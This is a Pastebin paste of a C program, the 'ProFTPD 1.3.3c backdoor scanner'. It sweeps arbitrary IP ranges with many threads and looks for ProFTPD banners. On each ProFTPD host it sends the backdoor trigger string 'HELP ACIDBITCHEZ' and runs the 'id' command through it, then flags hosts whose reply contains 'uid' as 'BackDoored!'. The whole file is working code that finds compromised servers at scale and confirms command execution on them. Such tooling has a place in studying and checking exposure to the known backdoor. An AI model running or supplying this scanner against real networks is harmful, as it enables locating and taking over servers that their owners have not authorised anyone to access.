Advertisement
Guest User

ProFTPD 1.3.3c Backdoor Scanner

a guest
Dec 3rd, 2010
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.64 KB | None | 0 0
  1. /*
  2. * For Linux:
  3. * gcc -o pro_scan pro_scan.c -O3 -Wall -pipe -DLinux -lpthread
  4. * For FreeBSD:
  5. * gcc -o pro_scan pro_scan.c -O3 -Wall -pipe -lpthread
  6. */
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <stdarg.h>
  10. #include <sys/types.h>
  11. #include <sys/wait.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14. #include <netinet/tcp.h>
  15. #include <sys/resource.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <stdlib.h>
  19. #include <errno.h>
  20. #include <signal.h>
  21. #include <string.h>
  22. #include <assert.h>
  23. #include <poll.h>
  24. #include <fcntl.h>
  25. #include <sys/time.h>
  26. #include <pthread.h>
  27.  
  28. #define TIMEOUT 10
  29. #define WAIT_TIME_SECONDS 15
  30. #define MAXHOSTS 0x70000000
  31. #define THREADS 256
  32.  
  33. #ifdef Linux
  34. #define POLLRDNORM 0x040
  35. #endif
  36.  
  37. //////////////////////////////////////////////////////////////////////
  38.  
  39. static FILE *output = NULL;
  40. extern int errno;
  41. static char *start = NULL; /* start host */
  42. static char *end = NULL; /* end host */
  43. static unsigned short defaultport = 21;
  44. /* Number of IP will be scanned */
  45. static int totnum = 0;
  46. /* thread id */
  47. static pthread_t tid;
  48. static int inum = 0;
  49. /* start time */
  50. static time_t t1, t2;
  51. /* number of threads */
  52. static int thdnum = THREADS;
  53. /* current number of threads */
  54. static int curnum = 0;
  55. static int timeout = TIMEOUT;
  56. /* Mutex lock for 'curnum' */
  57. static pthread_mutex_t mutex_curnum = PTHREAD_MUTEX_INITIALIZER;
  58. /* cond for curnum */
  59. static pthread_cond_t cond_curnum = PTHREAD_COND_INITIALIZER;
  60.  
  61. static unsigned short *ports = NULL;
  62.  
  63. static int num_ports = 0;
  64. //////////////////////////////////////////////////////////////////////
  65.  
  66. // follow signal functions ripped from scz
  67. static void terminate(void)
  68. {
  69. if (output != stdout) {
  70. fclose(output);
  71. output = stdout;
  72. }
  73. _exit(EXIT_SUCCESS);
  74. }
  75.  
  76. static void on_terminate(int signo)
  77. {
  78. time_t t2 = time(NULL);
  79. fprintf(stderr, "----------------------------------------------------------------\n\n");
  80. fprintf(stderr,"Receive SIG NUM:%d %d/%d hosts, %lu secs, %ld hosts/sec .\n", signo, inum + 1,
  81. totnum, t2-t1, (inum+1)/(t2-t1));
  82. pthread_mutex_destroy(&mutex_curnum);
  83. pthread_cond_destroy(&cond_curnum);
  84. exit(EXIT_SUCCESS);
  85. } /* end of on_terminate */
  86.  
  87. static void on_sigchld(int signo)
  88. {
  89. pid_t pid;
  90. int status;
  91.  
  92. while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
  93. fprintf(stderr, "child <%u> terminated", (unsigned int)pid);
  94. } /* end of while */
  95. return;
  96. } /* end of on_sigchld */
  97.  
  98. /*
  99. *
  100. */
  101. static void init_signal(void)
  102. {
  103. unsigned int i;
  104.  
  105. atexit(terminate);
  106. for ( i = 1; i < 9; i++ ) {
  107. signal( i, on_terminate );
  108. }
  109. signal(SIGTERM, on_terminate);
  110. signal(SIGALRM, on_terminate);
  111. signal(SIGCHLD, on_sigchld);
  112. return;
  113. } /* end of init_signal */
  114.  
  115.  
  116. /* new:
  117. * tcp connect with no block socket, host to ip.
  118. * millisecond timeout, it's will be fast.
  119. * ;D
  120. * 2003/06/23 add by Sam
  121. */
  122. static int tcpConnect(const char *ip, unsigned int port, unsigned int timeout)
  123. {
  124. int sock, flag, pe = 0;
  125. size_t pe_len;
  126. fd_set rset;
  127. struct timeval tv;
  128. struct sockaddr_in addr;
  129.  
  130. sock = socket(AF_INET, SOCK_STREAM, 0);
  131. if (-1 == sock) {
  132. perror("tcpConnect:socket\n");
  133. return -1;
  134. }
  135.  
  136. addr.sin_addr.s_addr = inet_addr(ip);
  137. addr.sin_family = AF_INET;
  138. addr.sin_port = htons(port);
  139.  
  140. /* set socket no block
  141. */
  142. flag = fcntl(sock, F_GETFL);
  143. if (-1 == flag) {
  144. perror("tcpConnect:fcntl\n");
  145. close(sock);
  146. return -1;
  147. }
  148.  
  149. flag |= O_NONBLOCK;
  150. if (fcntl(sock, F_SETFL, flag) < 0) {
  151. perror("tcpConnect:fcntl\n");
  152. close(sock);
  153. return -1;
  154. }
  155.  
  156. if (connect(sock, (const struct sockaddr *)&addr,
  157. sizeof(addr)) < 0 &&
  158. errno != EINPROGRESS) {
  159. // perror("tcpConnect:connect\n");
  160. close(sock);
  161. return -1;
  162. }
  163.  
  164. /* set connect timeout
  165. * use millisecond
  166. */
  167. tv.tv_sec = timeout/1000;
  168. tv.tv_usec = timeout%1000;
  169.  
  170. FD_ZERO(&rset);
  171. FD_SET(sock, &rset);
  172.  
  173. if (select(sock+1, &rset, &rset, NULL, &tv) <= 0) {
  174. close(sock);
  175. return -1;
  176. }
  177.  
  178. pe_len = sizeof(pe);
  179.  
  180. if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
  181. perror("tcpConnect:getsockopt\n");
  182. close(sock);
  183. return -1;
  184. }
  185.  
  186. if (pe != 0) {
  187. errno = pe;
  188. close(sock);
  189. return -1;
  190. }
  191.  
  192. if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
  193. perror("tcpConnect:fcntl\n");
  194. close(sock);
  195. return -1;
  196. }
  197.  
  198. pe = 1;
  199.  
  200. if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0) {
  201. perror("tcpConnect:setsockopt\n");
  202. close(sock);
  203. return -1;
  204. }
  205.  
  206. return sock;
  207. }
  208.  
  209. static int read_timer(int fd, unsigned int time_out)
  210. {
  211.  
  212. /* ripped from no1 */
  213.  
  214. int flags;
  215. int select_status;
  216. fd_set fdread;
  217. struct timeval timeout;
  218.  
  219. if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
  220. close(fd);
  221. return (-1);
  222. }
  223.  
  224. if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
  225. close(fd);
  226. return (-1);
  227. }
  228.  
  229. timeout.tv_sec = time_out;
  230. timeout.tv_usec = 0;
  231. FD_ZERO(&fdread);
  232. FD_SET(fd, &fdread);
  233. select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
  234.  
  235. if(select_status == 0) {
  236. close(fd);
  237. return (-1);
  238. }
  239.  
  240. if(select_status == -1) {
  241. close(fd);
  242. return (-1);
  243. }
  244.  
  245. if(FD_ISSET(fd, &fdread)) {
  246.  
  247. if(fcntl(fd, F_SETFL, flags) < 0) {
  248. close(fd);
  249. return -1;
  250. }
  251.  
  252. return 1;
  253.  
  254. }
  255. else {
  256. close(fd);
  257. return 1;
  258.  
  259. }
  260. }
  261.  
  262.  
  263. const char *mystristr(const char *haystack, const char *needle)
  264. {
  265. if ( !*needle )
  266. {
  267. return haystack;
  268. }
  269. for ( ; *haystack; ++haystack )
  270. {
  271. if ( toupper(*haystack) == toupper(*needle) )
  272. {
  273. /*
  274. * Matched starting char -- loop through remaining chars.
  275. */
  276. const char *h, *n;
  277. for ( h = haystack, n = needle; *h && *n; ++h, ++n )
  278. {
  279. if ( toupper(*h) != toupper(*n) )
  280. {
  281. break;
  282. }
  283. }
  284. if ( !*n ) /* matched all of 'needle' to null termination */
  285. {
  286. return haystack; /* return the start of the match */
  287. }
  288. }
  289. }
  290. return 0;
  291. }
  292.  
  293. static int check_bd(int s)
  294. {
  295. int retval = 0;
  296. char *magic = "HELP ACIDBITCHEZ\n";
  297. char *cmd = "id\n";
  298. char resp[200];
  299.  
  300. if (send(s, magic, strlen(magic), 0) != strlen(magic))
  301. {
  302. goto bd_out;
  303. }
  304.  
  305. sleep(1);
  306.  
  307. if (send(s, cmd, strlen(cmd), 0) != strlen(cmd))
  308. {
  309. goto bd_out;
  310. }
  311. if (read_timer(s, 4) == 1) {
  312. bzero(resp, sizeof(resp));
  313. retval = read(s, resp, sizeof(resp));
  314. if (retval < 0)
  315. {
  316. goto bd_out;
  317. }
  318. if (strstr(resp, "uid") != NULL)
  319. {
  320. retval = 0x557;
  321. goto bd_out;
  322. }
  323.  
  324. } else
  325. {
  326. goto bd_out;
  327. }
  328.  
  329. bd_out:
  330. return retval;
  331.  
  332. }
  333. // Get ProFTPD version
  334. static int pro_getversion( char *hostName, unsigned short port)
  335. {
  336. int sock = -1, retval = -1, i;
  337. char resp[2048];
  338. struct pollfd fds[1];
  339.  
  340.  
  341. sock = tcpConnect(hostName, port, (timeout - timeout / 2) * 1000);
  342. if (sock <= 0)
  343. {
  344. //dump("Can't connect to remote host: %s (%s)", hostName, strerror(errno));
  345. goto ver_out;
  346. }
  347.  
  348.  
  349. fds[0].fd = sock;
  350. fds[0].events = POLLRDNORM;
  351. /*
  352. * set poll timeout (usec)
  353. */
  354. retval = poll(fds, 1, (timeout - timeout / 2) * 1000);
  355. if (retval <= 0) {
  356. goto ver_out;
  357. }
  358.  
  359. bzero(resp, sizeof(resp));
  360. if (fds[0].revents & POLLRDNORM) {
  361. retval = read(sock, resp, sizeof(resp));
  362. if (retval < 0)
  363. {
  364. //dump("Error to read GET response (%s)", strerror(errno));
  365. goto ver_out;
  366. }
  367.  
  368. for (i = 0; i < retval; i ++) {
  369. if (resp[i] == '\r'||resp[i] == '\n') {
  370. resp[i] = '\0';
  371. }
  372. }
  373.  
  374. if (mystristr(resp, "proftpd") != NULL)
  375. {
  376. // printf("DEBUG: connected\n");
  377. if (check_bd(sock) == 0x557)
  378. {
  379. fprintf(output, "%-40s :%d %s (BackDoored!)\n", hostName, port, resp);
  380. retval = 0x557;
  381. goto ver_out;
  382. }
  383. }
  384. }
  385.  
  386. ver_out:
  387. if (sock)
  388. {
  389. close(sock);
  390. sock = -1;
  391. }
  392.  
  393. return retval;
  394. }
  395.  
  396.  
  397. /*
  398. * .......
  399. */
  400. static void *init_scan(void *arg)
  401. {
  402. pthread_t thread_id;
  403. int i = 0;
  404. /*
  405. * there some signal code ripped from scz's code
  406. */
  407. sigset_t signal_mask;
  408.  
  409. thread_id = pthread_self();
  410. if (0 != sigfillset(&signal_mask)) {
  411. fprintf(stderr, "sigfillset error in thread [%u]\n", (unsigned int)thread_id);
  412. exit(EXIT_FAILURE);
  413. }
  414. /*
  415. * ........
  416. */
  417. if (0 != sigprocmask(SIG_BLOCK, &signal_mask, NULL)) {
  418. fprintf(stderr, "sigprocmask error in thread [%u]\n", (unsigned int)thread_id);
  419. exit(EXIT_FAILURE);
  420. }
  421.  
  422. if (!ports && num_ports == 0)
  423. {
  424. pro_getversion(arg, defaultport);
  425. } else
  426. {
  427. for (i = 0 ; i <= num_ports; i ++)
  428. {
  429. if (pro_getversion(arg, ports[i]) == 0x557)
  430. {
  431. break;
  432. }
  433. }
  434. }
  435.  
  436. pthread_detach(thread_id);
  437.  
  438.  
  439. #if 0
  440. fprintf(stderr, "%d: scan %s\n", pthread_self(), arg);
  441. #endif
  442.  
  443. free(arg);
  444.  
  445. pthread_mutex_lock(&mutex_curnum);
  446. curnum--;
  447. pthread_cond_broadcast(&cond_curnum);
  448. pthread_mutex_unlock(&mutex_curnum);
  449.  
  450. return NULL;
  451. }
  452.  
  453. static void getPorts(unsigned char *ptr)
  454. {
  455. unsigned char *ptr2 = ptr;
  456. int count = 1; /* assume 1 port is present */
  457. int i;
  458. int len = strlen(ptr);
  459.  
  460.  
  461. /* first count the ports */
  462. for(i = 0; i < len; i++)
  463. if(ptr[i] == ',')count++;
  464.  
  465. ports = (unsigned short*) calloc(count+1,sizeof(unsigned short));
  466. if (ports == NULL)
  467. {
  468. exit(EXIT_FAILURE);
  469. }
  470. count = 0;
  471.  
  472. while(1) {
  473. unsigned char *tmp;
  474.  
  475. tmp = strchr(ptr2,',');
  476. /* we are done */
  477. if(!tmp) {
  478. ports[count] = atoi(ptr2);
  479. break;
  480. }
  481. *tmp = 0;
  482. ports[count] = atoi(ptr2);
  483. count++;
  484. ptr2 = tmp+1;
  485. }
  486.  
  487. num_ports = count;
  488.  
  489. return;
  490. }
  491.  
  492. /*
  493. * Print usage messages
  494. */
  495. static void usage(char *s)
  496. {
  497. fprintf(stderr, "Usage: %s [-s startip] [-e endip] [-t timeout] [-n maxthreadnum] [-p port:21] [-l logfile] [-h?]\n\n", s);
  498. }
  499.  
  500. int main(int argc, char *argv[])
  501. {
  502. int i;
  503. struct rlimit rl;
  504. struct in_addr current_ip; /* current ip */
  505. struct in_addr final_ip; /* last ip to scan */
  506. char *host, *file = NULL;
  507.  
  508. fprintf(stderr, "ProFTPD 1.3.3c backdoor scanner\n\n");
  509.  
  510. while ((i = getopt(argc,argv,"h?:s:e:t:n:p:l:")) != EOF) {
  511. switch (i) {
  512. case 's':
  513. start = strdup(optarg);
  514. if(!inet_aton(start, &current_ip)) {
  515. fprintf(stderr, "invalid IP address: %s\n", start);
  516. return -1;
  517. }
  518. break;
  519. case 'e':
  520. end = strdup(optarg);
  521. if(!inet_aton(end, &final_ip)) {
  522. fprintf(stderr, "invalid IP address: %s\n", end);
  523. return -1;
  524. }
  525. break;
  526. case 't':
  527. timeout = atoi(optarg);
  528. break;
  529. case 'n':
  530. thdnum = atoi(optarg);
  531. break;
  532. case 'p':
  533. getPorts(optarg);
  534. break;
  535. case 'l':
  536. file = strdup(optarg);
  537. break;
  538. case 'h':
  539. case '?':
  540. usage(argv[0]);
  541. exit(EXIT_FAILURE);
  542. }
  543. }
  544.  
  545. if (start == NULL && end == NULL) {
  546. usage(argv[0]);
  547. exit(EXIT_FAILURE);
  548. }
  549.  
  550. signal(SIGPIPE, SIG_IGN);
  551. init_signal();
  552.  
  553. /* Set highest priority */
  554. if (!geteuid()) {
  555. fprintf(stderr, "Set highest priority \n");
  556. setpriority(PRIO_PROCESS, 0, -20);
  557. }
  558.  
  559. /* Raise number of open files */
  560. if (!getrlimit(RLIMIT_NOFILE, &rl)) {
  561. fprintf(stderr, "Set Max open files to : %d\n", (int )rl.rlim_max);
  562. rl.rlim_cur = rl.rlim_max;
  563. setrlimit(RLIMIT_NOFILE, &rl);
  564. }
  565.  
  566. if (thdnum + 10 > rl.rlim_cur) {
  567. thdnum = rl.rlim_cur - 10;
  568. fprintf(stderr, "Too many threads,set threads number to %d\n", thdnum);
  569. }
  570.  
  571. totnum = (ntohl(final_ip.s_addr) - ntohl(current_ip.s_addr)) + 1;
  572.  
  573. if (totnum > MAXHOSTS) {
  574. fprintf(stderr, "Too may hosts, MAX hosts: %d\n", MAXHOSTS);
  575. exit(EXIT_FAILURE);
  576. }
  577.  
  578. output = stdout;
  579.  
  580. if (file != NULL) {
  581. fprintf(stderr, "Set Logfile : %s\n", file);
  582. if ((output = fopen(file, "w+")) == NULL) {
  583. fprintf(stderr, "Error in open Logfile %s :%s\n", file, strerror(errno));
  584. return(EXIT_FAILURE);
  585. }
  586. }
  587.  
  588. fprintf(stderr,"Scan start : %d hosts , %d threads ...\n\n",totnum, thdnum);
  589. fprintf(stderr, "----------------------------------------------------------------\n");
  590.  
  591. t1 = time(NULL);
  592. for (inum = 0; inum < totnum; inum ++) {
  593. host = calloc(16, 1);
  594. if (host == NULL) {
  595. fprintf(stderr, "No memory left\n");
  596. return -1;
  597. }
  598. sprintf(host, "%s", inet_ntoa(current_ip));
  599. current_ip.s_addr = htonl(ntohl(current_ip.s_addr)+1);
  600.  
  601. pthread_mutex_lock(&mutex_curnum);
  602. if (curnum >= thdnum) {
  603. pthread_cond_wait(&cond_curnum, &mutex_curnum);
  604. }
  605. curnum ++;
  606. pthread_mutex_unlock(&mutex_curnum);
  607. /*
  608. * ..........
  609. */
  610. if (pthread_create(&tid, NULL, (void *)init_scan, (void *)host) != 0) {
  611. fprintf(stderr, "pthread_create: %s\n", strerror(errno));
  612. exit(EXIT_FAILURE);
  613. }
  614. }
  615.  
  616.  
  617. pthread_mutex_lock(&mutex_curnum);
  618. while(curnum > 0) {
  619. pthread_cond_wait(&cond_curnum, &mutex_curnum);
  620. }
  621. pthread_mutex_unlock(&mutex_curnum);
  622.  
  623. t2 = time(NULL);
  624.  
  625. fprintf(stderr, "----------------------------------------------------------------\n");
  626. fprintf(stderr, "\nScan completed, %ld sec ", t2-t1);
  627. if (t2 - t1)
  628. fprintf(stderr, "%ld hosts/sec.\n", totnum/(t2-t1));
  629. else
  630. fprintf(stderr, " \n");
  631.  
  632. pthread_mutex_destroy(&mutex_curnum);
  633. pthread_cond_destroy(&cond_curnum);
  634. return(EXIT_SUCCESS);
  635. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement